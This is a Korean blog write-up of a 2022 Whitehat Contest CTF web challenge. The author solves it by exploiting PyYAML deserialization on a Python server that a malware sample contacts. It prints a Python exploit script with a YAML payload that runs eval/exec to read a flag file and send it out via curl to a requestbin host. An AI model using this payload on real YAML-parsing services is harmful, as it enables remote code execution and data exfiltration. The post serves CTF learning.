CTF/웹해킹

[2022 화이트햇 콘테스트 본선] F-1- 웹해킹 / Python / YAML Command Injection

SecurityMan 2024. 4. 10. 11:00

 

2022 화이트햇 콘테스트 본선에 출제되었던 문제

 

이전 E-5 문제와 이어지는 문제이다.

(https://hackingstudypad.tistory.com/720)

 

반응형

 

F-1 문제에서는

 

D-2의 악성코드와 통신하는 서버에 취약점을 찾아 공격하고

 

플래그를 획득하는 것이 목표이다.

 

 

D-2 문제의 악성코드는

 

http://15.165.18.103/gmae 에서 다운받은

 

dd.exe 인데

 

무력화환 도구들을 실행시켰을 때

 

dd.exe 가 대신 실행되도록 하는것이었다.

 

dd.exe 가 실행되면

 

3.39.253.212 목적지로 어떤 값을 보내는데

 

그 값이 형태가 YAML 형식이었다.

 

 

또한 서버의 응답 헤더를 확인해 봤을때

 

Python 을 이용해 구동중인 것을 확인했다.

 

이 부분은 문제푸는데 정신이 없어서 캡쳐를 제대로 하지 못했다.

 

아무튼 그래서 PyYAML을 이용한 yaml command injection 을 시도해봤다.

 

import requests
import base64

url = 'http://3.39.253.212'

payload = '''
- !!python/object/new:tuple [!!python/object/new/map [!!python/name:eval , [
    'exec("import os; f=open(\\"/app/flag\\").read();os.system(\\"curl
    http://requestbin주소?a=\\"+f)")' ]]]
'''

payload = base64.b64encode(payload.encode())
data = []

for a in payload:
	data.append(c ^ 50)
data = bytes(data)

r = requests.post(url, data=dict(y=data))
print(r.text)

 

이런식으로

 

플래그의 위치인 /app/flag 의 내용을 읽어와서

 

curl 로 해당 내용을 a 파라미터에 담아 전송토록 했다.

 

base64 인코딩하고 50으로 xor 한것은

 

문제에서 동작하는 악성코드가 yaml 데이터를 보낼때

 

이런식으로 보내고 있었기 때문에 양식을 맞춘것이다.

 

 

 

그럼 이런식으로 /app/flag 이 base64 인코딩된 값으로 따라오는걸 볼 수 있다.

 

 

해당 값을 base64 디코딩해주면

 

플래그를 찾을 수 있다.

반응형